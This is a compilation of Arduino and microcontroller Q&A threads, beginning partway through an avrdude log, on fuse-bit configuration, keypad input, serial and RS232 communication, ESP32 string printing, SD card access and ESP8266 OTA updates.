################avrdude: Send: V [56] 0 [30] . [00] . [02] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [07]
avrdude: Recv: . [10]
################################## | 100% 0.06s

avrdude: Device signature = 0x1e9307
avrdude: Send: V [56] . [a0] . [01] . [fc] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [ff]
avrdude: Recv: . [10]
avrdude: Send: V [56] . [a0] . [01] . [fd] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [ff]
avrdude: Recv: . [10]
avrdude: Send: V [56] . [a0] . [01] . [fe] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [ff]
avrdude: Recv: . [10]
avrdude: Send: V [56] . [a0] . [01] . [ff] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [ff]
avrdude: Recv: . [10]
avrdude: erasing chip
avrdude: Send: V [56] . [ac] . [80] . [00] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [00]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [81]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [01]
avrdude: Recv: . [10]
avrdude: Send: A [41] . [82]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [12]
avrdude: Recv: . [10]
avrdude: Send: B [42] p [70] . [00] . [00] . [01] . [01] . [01] . [01] . [02] . [ff] . [00] . [ff] . [ff] . [00] @ [40] . [02] . [00] . [00] . [00]   [20] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
avrdude: Send: E [45] . [05] . [04] . [d7] . [c2] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
avrdude: Send: P [50]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]
avrdude: reading input file "0x3f"
avrdude: writing lock (1 bytes):

Writing | avrdude: Send: V [56] X [58] . [00] . [00] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [ff]
avrdude: Recv: . [10]
################################################## | 100% 0.02s

avrdude: 1 bytes of lock written
avrdude: verifying lock memory against 0x3f:
avrdude: load data lock data from input file 0x3f:
avrdude: input file 0x3f contains 1 bytes
avrdude: reading on-chip lock data:

Reading | avrdude: Send: V [56] X [58] . [00] . [00] . [00]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [ff]
avrdude: Recv: . [10]
################################################## | 100% 0.02s

avrdude: verifying ...
avrdude: 1 bytes of lock verified
avrdude: reading input file "0b110{bootloader.ckopt_bit}{bootloader.eesave_bit}10{bootloader.bootrst_bit}"
avrdude: invalid byte value (0b110{bootloader.ckopt_bit}{bootloader.eesave_bit}10{bootloader.bootrst_bit}) specified for immediate mode
avrdude: read from file '0b110{bootloader.ckopt_bit}{bootloader.eesave_bit}10{bootloader.bootrst_bit}' failed
avrdude: Send: Q [51]   [20]
avrdude: Recv: . [14]
avrdude: Recv: . [10]

avrdude done.  Thank you.

```

These are my fuse bits:

```
# General
8.name=ATmega8 (8MHz Internal Clock on breadboard)
8.upload.tool=avrdude
8.upload.maximum_data_size=1024
8.bootloader.tool=avrdude
8.bootloader.unlock_bits=0x3f
8.bootloader.lock_bits=0x0f
8.bootloader.low_fuses=0b{bootloader.bod_bits}{bootloader.sut_cksel_bits}
8.bootloader.high_fuses=0b110{bootloader.ckopt_bit}{bootloader.eesave_bit}10{bootloader.bootrst_bit}
8.build.core=MCUdude_corefiles
8.build.variant=standard
8.build.board=AVR_ATmega8
8.build.mcu=atmega8
8.build.bootloader_led=B5

# Upload port select
8.menu.bootloader.uart0=Yes (UART0)
8.menu.bootloader.uart0.upload.maximum_size=7680
8.menu.bootloader.uart0.upload.protocol=arduino
8.menu.bootloader.uart0.upload.port=UART0
8.menu.bootloader.uart0.build.export_merged_output=true
8.menu.bootloader.uart0.bootloader.bootrst_bit=0
8.menu.bootloader.uart0.bootloader.file=optiboot_flash/bootloaders/{build.mcu}/{build.f_cpu}/optiboot_flash_{build.mcu}_{upload.port}_{upload.speed}_{build.f_cpu}_{build.bootloader_led}.hex

8.menu.bootloader.no_bootloader=No bootloader
8.menu.bootloader.no_bootloader.upload.maximum_size=8192
8.menu.bootloader.no_bootloader.build.export_merged_output=false
8.menu.bootloader.no_bootloader.bootloader.bootrst_bit=1
8.menu.bootloader.no_bootloader.bootloader.file=empty/empty.hex

# EEPROM
8.menu.eeprom.keep=EEPROM retained
8.menu.eeprom.keep.bootloader.eesave_bit=0
8.menu.eeprom.erase=EEPROM not retained
8.menu.eeprom.erase.bootloader.eesave_bit=1

# Brown out detection - This is the first part of the low fuse bit concatenation
8.menu.BOD.2v7=BOD 2.7V
8.menu.BOD.2v7.bootloader.bod_bits=10
8.menu.BOD.4v0=BOD 4.0V
8.menu.BOD.4v0.bootloader.bod_bits=00
8.menu.BOD.disabled=BOD disabled
8.menu.BOD.disabled.bootloader.bod_bits=11

# Compiler link time optimization
8.menu.LTO.Os=LTO disabled
8.menu.LTO.Os.compiler.c.extra_flags=
8.menu.LTO.Os.compiler.c.elf.extra_flags=
8.menu.LTO.Os.compiler.cpp.extra_flags=
8.menu.LTO.Os.ltoarcmd=avr-ar

8.menu.LTO.Os_flto=LTO enabled
8.menu.LTO.Os_flto.compiler.c.extra_flags=-Wextra -flto -g
8.menu.LTO.Os_flto.compiler.c.elf.extra_flags=-w -flto -g
8.menu.LTO.Os_flto.compiler.cpp.extra_flags=-Wextra -flto -g
8.menu.LTO.Os_flto.ltoarcmd=avr-gcc-ar

8.menu.clock.8MHz_internal=8 MHz internal
8.menu.clock.8MHz_internal.upload.speed=38400
8.menu.clock.8MHz_internal.bootloader.sut_cksel_bits=100100
8.menu.clock.8MHz_internal.bootloader.ckopt_bit=1
8.menu.clock.8MHz_internal.build.f_cpu=8000000L

```

Should I try deleting unnescessary stuff from the fuse bits?

I tried checking the fuse bits, but they're pretty much alien to me. Any help is welcome.
Thanks in advance
Me

Edit: I am using Arduino IDE v1.0.5 and have selected "Arduino as ISP" in the programmer.

# Answer
1.0.5 is from 2013 and a lot has changed in the IDE since then, particularly between the 1.0.x versions and the 1.5.x versions. Most people wind up with 1.0.5 because it's in the Ubuntu's (and other Linux distribution's) package repo(s).

Anyway, it's likely that this old version doesn't define some of the things your board definition is referencing. E.g. you're referring to names that exist in the 1.8.x platform.txt file that don't exist in the 1.0.5 IDE. When the IDE fails to replace a key placeholder, it leaves it like you're seeing in your avrdude commandline: `-Uhfuse:w:0b110{bootloader.ckopt_bit}{bootloader.eesave_bit}10{bootloader.bootrst_bit}:m -Ulfuse:w:0b{bootloader.bod_bits}{bootloader.sut_cksel_bits}:m`  You should not be seeing these `{blah}` references in your command-lines when compiling or uploading.

Actually, 1.0.5 predates the handling of `.menu.` style properties. E.g. They used to have entire separate boards.txt entries for the ATMega328P based nano and the ATMega168 based nano and these are now handled by a single board with a `.menu.cpu.` section for the selection of the MCU used. So under 1.0.5 none of your `.menu.` properties are failing to be replaced by the IDE.

So, I would start by getting rid of the old IDE and instead installing the latest from the official site and seeing if that improves things.

That said, if you want to use the ATMega8A with Arduino it would probably be better to use MCUdude MiniCore rather than modifying the regular boards.txt file. You'll need a new IDE in order to use that anyway.
> 0 votes

---
Tags: arduino-mega, isp, atmega
---


title: Char array filling with blanks

text:
# Question
Title: Char array filling with blanks
When I run this code, my `pin` and `pinCheck` arrays are not being filled with the results of `keypad.getKey()`. If I print the value at each index, the result is blank. As far as I can tell, I am either not writing a char to the array, I am misreading the array when it comes time to print to the serial monitor, or `.getKey()` only works in the main or loop functions.

```
#include <Key.h>
#include <Keypad.h>

void armDisarm(void);
boolean array_cmp(char, char, int, int);

bool isArmed = 0;
char pin[3];
char pinCheck[3];
const byte ROWS = 4; // number of rows
const byte COLS = 4; // number of columns
char keys[ROWS][COLS] = {
{'1','2','3','A'},
{'4','5','6','B'},
{'7','8','9','C'},
{'#','0','*','D'}
};

byte rowPins[ROWS] = {9, 8, 7, 6}; // row pinouts of the keypad R1 = D8, R2 = D7, R3 = D6, R4 = D5
byte colPins[COLS] = {5, 4, 3, 2};    // column pinouts of the keypad C1 = D4, C2 = D3, C3 = D2
Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS);

void setup()
{
  Serial.begin(9600);
}

void loop()
{
  if (isArmed == 1)
  {
    Serial.println("SYSTEM ARMED! ENTER PIN TO DISARM!");
  }
  else
  {
    Serial.println("SYSTEM DISARMED! ENTER PIN TO ARM!");
  }
  armDisarm();
}

void armDisarm(void)
{
  while(true)
 {
    if (isArmed == 0)
    {
      for (int i = 0; i < 4;)
      {
        if (keypad.getKey() == NO_KEY)
        {
          continue;
        }
        pin[i] = keypad.getKey();
        Serial.println(pin[i]);
        i++;
      }
      isArmed = 1;
      return;
    }
    else if (isArmed == 1)
    {
      for (int j = 0; j < 4;)
      {
        if (keypad.getKey() == NO_KEY)
        {
          continue;
        }
        pinCheck[j] = keypad.getKey();
        Serial.println(pin[j]);
        j++;
      }
      for (int k = 0; k < 4; k++)
      {
        if(pinCheck[k] != pin[k])
        {
          isSame = 0;
          break;
        }
        else
        {
          isSame = 1;
        }
      }

      if (array_cmp(pin, pinCheck, sizeof(pin), sizeof(pinCheck)) == 1)
      {
        Serial.println("same pin"); //used for bebugging
        isArmed = 0;
        return;
      }
      else
      {
        Serial.println("INCORRECT PIN! CLAYMORE ROOMBA DEPLOYED!");
      }
    }
  }
}

boolean array_cmp(char a[sizeof(pin)], char b[sizeof(pinCheck)], int len_a, int len_b)
{
  int n;

  // if their lengths are different, return false
  if (len_a != len_b)
  {
    return false;
  }

  // test each element to be the same. if not, return false
  for (n = 0 ;n < len_a; n++)
  {
    if (a[n]!= b[n])
    {
      return false;
    }
  }

  //ok, if we have not returned yet, they are equal :)
  return true;
}

```

# Answer
First of all, there is one essential feature of the Keypad library you have to understand: it is non-blocking. When you call `keypad.getKey()`, it returns immediately, and almost always returns `NO_KEY` to signal that no key was pressed since the last time you checked. If a key was pressed, `keypad.getKey()` returns that key and then, *on the next call*, it again returns `NO_KEY` because no key was pressed *since the last time you checked*.

It is important to realize that, whenever a key is pressed, that key is returned *only once* by `keypad.getKey()`. You should manage to not miss it!

Now consider this loop:

```
for (int i = 0; i < 4;)
{
    if (keypad.getKey() == NO_KEY)
    {
        continue;
    }
    pin[i] = keypad.getKey();
    Serial.println(pin[i]);
    i++;
}

```

This will run very fast, and almost always looping through the `continue` statement. When a key is pressed, `keypad.getKey()` returns a value different from `NO_KEY` (and this value *is lost*), the test within the `if` is false, and the statement that follows gets executed, namely:

```
    pin[i] = keypad.getKey();

```

But this is *another* call to `keypad.getKey()`, which returns `NO_KEY`, so this is what gets saved in the array.

This is how I would write that loop:

```
for (int i = 0; i < 3; i++)
{
    char key = NO_KEY;
    while (key == NO_KEY)
    {
        key = keypad.getKey();
    }
    pin[i] = key;
    Serial.println(pin[i]);
}

```

Please note that:

* The value returned by `keypad.getKey()` is *always* saved into a variable, you do not want to loose it! When we get something other than `NO_KEY`, the value previously saved into the variable is stored in the array.
* I moved the `i++` where it belongs, in order to avoid that very confusing way of controlling the loop.
* The `if` has become a `while`, because we do not want to move to the next iteration until we have actually read a valid key.
* The loop does only three iterations, because this is the length of the array `pin`, which we would otherwise overflow.
> 1 votes

# Answer
As an addition ToEdgar Bonets answer. I should warn you that your code keeps adding position in as each time you check array you are increasing the value of i. As a result you are filling arrays with NO\_KEY.

Also having have build a security alarm on arduino before (Or shouldnt we know thats what you are doing?) I should warn you that waiting for Keyboard inputs mean that you are not checking tamper or alarm even when its armed because you are stucked inside nonloop function waiting for imput. I have personally made input a global struct

```
struct foo{
   char digits[4];
   byte digit=0;
} pinCode;

```

You can either take instance of the struct as a parameter to your function or because its global use it internaly.

```
bool addDigit(char button){
  /*here deal with many potential inputs*/

```

you can then inside your function assign the button pressed as

```
pinCode.digits[pinCode.digit]=button;
pinCode.digit++;

```

if you are passing the instance of the struct as a pointer then it will change to

```
pinCode->digits[pinCode->digit]=button;
pinCode->digit++;

```

you can then inside this funtion test if password is confirmed (OK is pressed) and return true.

While the end of the password isn't reached, just return false. SO within the loop you would have something like:

```
key = keypad.getKey();
if(key!=NO_KEY){
   if(addDigit(key)) //Here take an action based on inputs
}
// Do all the other stuff alarm has to do

```
> 0 votes

---
Tags: array, loop, keypad, char
---


title: How to control Android app with Arduino

text:
# Question
Title: How to control Android app with Arduino
I'm trying to connect Arduino Leonardo to an Android tablet. I would like to make the Arduino send commands (using pushbuttons or a slider for example) to the tablet to switch between pages, to select a file on the desktop, to scroll up and down the screen, etc.

# Answer
Perhaps this is not exactly what you are looking for, but from your examples it seems like using navigational commands from the keayboard/mouse would accomplish a lot of what you are requesting.

Android has USB HID support from honecomb, so you should be able to create a sketch to emulate a keyboard and mouse based on the IO data and it should work with your android device just by plugging the USB cable (if emulating a mouse, it will display the mouse cursor as soon as it is connected).
> 1 votes

# Answer
First, get a Lightblue Bean, http://punchthrough.com/bean/

It has everything you need: \- arduino \- bluetooth \- API \- code example \- android sdk \- ...

Develop your product using this platform.

If you want to scale and build your own platform, then you will have a foundation to validate your work.
> -1 votes

# Answer
It is a good idea to use a LightBlue Bean, only if you are using the Android SDK! https://bitbucket.org/littlerobots/beanlib

You can read more about the SDK, and get advice from people who are actually using it. http://beantalk.punchthrough.com/t/announcing-unofficial-android-sdk/394
> -1 votes

# Answer
Android code:

```
function OnStart() {
    //Create a layout with objects vertically centered.
    lay = app.CreateLayout("linear", "VCenter,FillXY")

    //Create a toggle button.
    btn = app.CreateToggle("LED On/Off", 0.4)
    btn.SetOnTouch(btn_OnTouch)
    lay.AddChild(btn)

    //Add layout to app.
    app.AddLayout(lay)

    //Create USB serial object.
    usb = app.CreateUSBSerial()
    if (!usb) {
        app.ShowPopup("Please connect your Arduino and restart")
        return;
    }
    usb.SetOnReceive(usb_OnReceive)
    app.ShowPopup("Connected")
}

//Called when user touches our toggle button.
function btn_OnTouch(isChecked) {
    if (!usb) return;

    //Send LED command to Uno.
    if (isChecked) usb.Write("ledh")
    else usb.Write("ledl")
}

//Called when we get data from Espruino.
function usb_OnReceive(data) {
   console.log(data)
}

```

Arduino code:

```
void setup() {
  pinMode(2,1);
  serial.begin(9600);

  loop() {
    if (serial.Read()="ledh) {
      digitalWrite(2,1);
    }
    if (serial.Read()="ledl) {
      digitalWrite(2,0);
    }
  }
}

```
> -1 votes

---
Tags: arduino-leonardo, android
---


# Question
Title: I cannot communicate using RS232 between Arduino and Lakeshore Fluxmeter. How do I get data back from the fluxmeter?
I am using an Arduino Leonardo and the DFrobot RS232 shield to try and communicate with a flux meter. I am trying to write "UNITS?", which would have the fluxmeter send back a single byte that would translate to which units it is using.

The problem is, I can see from the Arduino side it is writing those 6 bytes, but at the `if (Serial1.available())`, there is nothing there. I have the switch on the shield to on, and I did the tutorial on the DFrobot wiki to make sure my shield works.

I think it has to do with how the `Serial1.write()` is done. I don't think it is receiving the command correctly, so it does not respond.

Shown below is my code:

```
#include <Keyboard.h>

// Define pins, so you only need to change them in one spot
#define BUTTON 7

bool runner = 0;

void setup() {
  // Begin Serial communication at 9600 baud rate
  Serial1.begin(9600);
  pinMode(BUTTON, INPUT);
  // create an interrupt that will call send_command() whenever the button pin has a rising edge
  attachInterrupt(digitalPinToInterrupt(BUTTON), send_command, RISING);
  // start the Keyboard process
  Keyboard.begin();
}

// called when button is clicked
// will use Serial.write() to send commands
// then will write the data with the keyboard
void send_command() {
  runner = 1;
  return;
}

void loop() {
  if (runner) {
    char pkneg, pkpos;
    // This next section writes the commands to the 480,
    // then reads the data and prints it to the Serial Monitor
    int sent = Serial1.write("UNITS?");
    Keyboard.println(sent);
    if (sent <= 0) {
      Keyboard.print("Fort Myers we got a problem\n");
    }
    //Keyboard.print(marker);
    delay(5000);

    if (Serial1.available()) {
      Keyboard.print("Here!\n");
      pkpos = Serial1.read();
  }
  else pkpos = 'x';
  pkneg = 'x';

  char pkneg1[10], pkpos1[10];
  // dtostrf(pkpos, 4, 3, pkpos1);
  // dtostrf(pkneg, 4, 3, pkneg1);

  Keyboard.print(pkneg);
  Keyboard.print('\t');
  Keyboard.print(pkpos);
  Keyboard.print('\n');

  // for testing

  runner =0;
  }
}

```

# Answer
> 2 votes
You are lacking the line terminators from your serial writing. As it says in the manual:

> * Terminators are fixed to CRLF.

And in the example code (the Quick Basic is probably the easiest to follow):

```
CMD$ = CMD$ + TERM$
PRINT #1, CMD$;

```

(where `TERM$` is "\r\n").

So changing your `Serial1.write` to include the terminators should help the device to recognize that you have finished sending the command and it should respond to it:

```
Serial1.write("UNITS?\r\n");

```

By the way, testing the return value of the `Serial1.write` is pointless. It will always return the number of characters in the string you supplied - serial data over the UART pins is always sent even if there is nothing there to receive it.

---
Tags: communication, rs232
---


# Question
Title: Using ESP32 GPIO, Serial.printf(...) prints weird characters when input is larger than 12 characters
Learning C with the Freenove WSP32-WROVER starter kit and there's an issue I cannot find an answer to. Using the provided code to input some data with UART, it would seem to have a strange behavior whenever I input string that is larger than 12 characters. Under 12, everything is fine.

```
/**********************************************************************
  Filename    : SerialRW
  Description : Use UART read and write data between ESP32 and PC.
  Auther      : www.freenove.com
  Modification: 2020/07/11
**********************************************************************/
String inputString = "";      //a String to hold incoming data
bool stringComplete = false;  // whether the string is complete

void setup() {
  Serial.begin(9600);
  Serial.println(String("\nESP32 initialization completed!\n")
                + String("Please input some characters,\n")
                + String("select \"Newline\" below and click send button. \n"));
}

void loop() {
  if (Serial.available()) {         // judge whether data has been received
    char inChar = Serial.read();         // read one character
    inputString += inChar;
    if (inChar == '\n') {
      stringComplete = true;
    }
  }
  if (stringComplete) {
    Serial.printf("inputString: %s \n", inputString);
    inputString = "";
    stringComplete = false;
  }
}

```

The output of any larger than 12 characters string is sometimes a little bit different, but always seems to follow a similar pattern. For any 13 characters long string, I get :

> ⸮⸮?

The ouput changes if I add characters, for example 20 characters is this :

> D⸮⸮?

I assume the unprintable character is a new line.

The baud rate is set at the same value both in the code and in the serial monitor and I get the same results if I change the baud rate.

Any explanation regarding this behaviour and how to avoid it would be most welcomed.

# Answer
> 1 votes
Change:

```
Serial.printf("inputString: %s \n", inputString);

```

to:

```
Serial.printf("inputString: %s \n", inputString.c_str());

```

`%s` expects a `const char *` which is not what `inputString` yields.

What you're seeing in the difference between strings larger and smaller than 12 characters is down to whether or not small string optimization is in use and how structures are passed in the ESP32's calling convention.

---
Tags: serial, esp32
---


title: Read SD card on ATMEGA328 from ESP826

text:
# Question
Title: Read SD card on ATMEGA328 from ESP826
I have a ATMEGA328 with ESP826 (like this http://arduinolearning.com/hardware/atmega328-esp8266-arduino-board.php) and can successfully send information from the ATMEGA328 to the ESP826 via serial. I can also record information from the ATMEGA328 to SD card. What I would like to do is read data from the SD card with the ESP826 so I can upload it to a server..

When I try to connect directly:

```
#include <ESP8266WiFi.h>
#include <SPI.h>
#include <SD.h>

File myFile;

void setup() {
  Serial.begin(115200);
  delay(10);

  Serial.print("Initializing SD card...");

  if (!SD.begin(10)) {
    Serial.println("initialization failed!");
    return;
  }

  myFile = SD.open("/");

  printDirectory(myFile, 0);

  Serial.println("done!");

}

void loop(){
}

void printDirectory(File dir, int numTabs) {
  while (true) {

    File entry =  dir.openNextFile();
    if (! entry) {
      // no more files
      break;
    }
    for (uint8_t i = 0; i < numTabs; i++) {
      Serial.print('\t');
    }
    Serial.print(entry.name());
    if (entry.isDirectory()) {
      Serial.println("/");
      printDirectory(entry, numTabs + 1);
    } else {
      // files have sizes, directories do not
      Serial.print("\t\t");
      Serial.println(entry.size(), DEC);
    }
    entry.close();
  }
}

```

It doesn't find the card. This is regardless of whether I have pins 1&2 ON or not.

Is there any way to write to the SD card using the ATMEGA328 and read that from the ESP826 (to send the files to the cloud)?

# Answer
You can't. There's no connection between the ESP8266 and the SD card.

However you can program the ATMega328 to read the SD card then send that data to the ESP8266 for forwarding to the internet.
> 1 votes

# Answer
Have you consider something like nodeMCU? Is there a reason why you using such a complicated board? This would enable you to connect your SD card reader directly to nodeMCU, which can read the data from same inputs as atmega328 (watch for voltage differences) including the sensors which has the capability of uploading data to the cloud without the need of additional MCU, while making debugging far easier.

I know that I am going to get dislikes here, but it looks to me like one of those cases when you connect two things that would work better of alone, making something does doesn't do either ones job very well. Maybe you can get a refund... If not contact your card issuer for "Cardholder not present" claim that bot VISA and Master card have.

Is there any reason why wouldn't standard nodeMCU be enough for your project? (probably superior)

If its not enough:

If you connect node-mcu (5-15 Eur/Pounds/Dolars) and a nano (About half of the price) on a breadboard and connect them together via (software) serial pin, (using jumper cables and resistive divider), you can program them without messing with pointless dip switches and learn something usefull for future projects. latter you can replace nano for 3V3 pro miny to remove even the divider. There is this absurd idea from Arduino core team developers of using superiour Esp32 MCU as a secondary tool to inferiour ATMEGA328, while logically you should do the opposite. This is amplified by the fact that I would personaly consider Esp8266 core arduino libraries superior to those made for atmel... You might even find that the 2-3MB FS you can create on ModeMCU might be enough without the need of SD card.

I had a quick look through the site and a combination defaulting to http and nonstandard hardware, combined with low standard of explanation, **But what I find really imoral is harvesting excessive number of domain names on a similar subject** which could have been used for other projects makes me think if these tutorials are designed to increase the sales of badly designed boards... I would recommend you to change the tutorial source...
> 0 votes

---
Tags: esp8266, wifi, sd-card, arduino-uno-wifi
---


# Question
Title: Arduino/ESP8266 How to give users updated compiled code without using Arduino IDE
I have an Arduino project using an ESP8266 dev board.

I want to be able to give users updates to my software in the future and I don't want them to have to download the code and the Arduino IDE to do so.

Is there a way to take the compiled code from the Arduino IDE and use some other software to upload the compiled code to the ESP8266 dev board?

# Answer
> 1 votes
I figured it out! After getting some comments, **I have decided to got with Option B.**

**Firstly for both options, you will need to:**

1. Using the Arduino IDE
2. Under the "Sketch" tab; click "Export compiled Binary", then click "Show Sketch Folder" (This is where your .bin file is)

**Option A - Using an application**

3. Download the ESPEasyFlasher code from below.
4. You will probably have to open this with Visual Studio and compile it yourself.
5. Make sure your .bin file and esptool.exe are included in your bin/release folder or wherever you want to have the "FlashESP8266.exe" program permanently.
6. Run the "FlashESP8266.exe" program; select your com port, select your bin file, select the upload rate, then click flash.

So you just have to make sure that your user has;

* Python installed
* Provide them a copy of the "FlashESP8266.exe"
* Provide them a copy of the "esptool.exe"

I don't know if this will work the exact same for an ESP32 as I believe they have two .bin files...

Resources:

https://nerdiy.de/en/howto-esp8266-mit-dem-esptool-bin-dateien-unter-windows-flashen/

https://github.com/BattloXX/ESPEasyFlasher

**Option B - Using OTA Update**

3.You will need to first implement OTA Updates as @StarCat has pointed out in the comments.

4.Navigate to the URL you implemented.

5.Choose the File System, select your .bin file.

6.Click Update FileSytem

7.Should take a couple seconds or so and should be updated!

I can confirm this works when your ESP8266 is set to host a Soft Access Point.

**Koudos to @StarCat.**

Resources:

https://arduino-esp8266.readthedocs.io/en/latest/ota\_updates/readme.html#web-browser

---
Tags: esp8266
---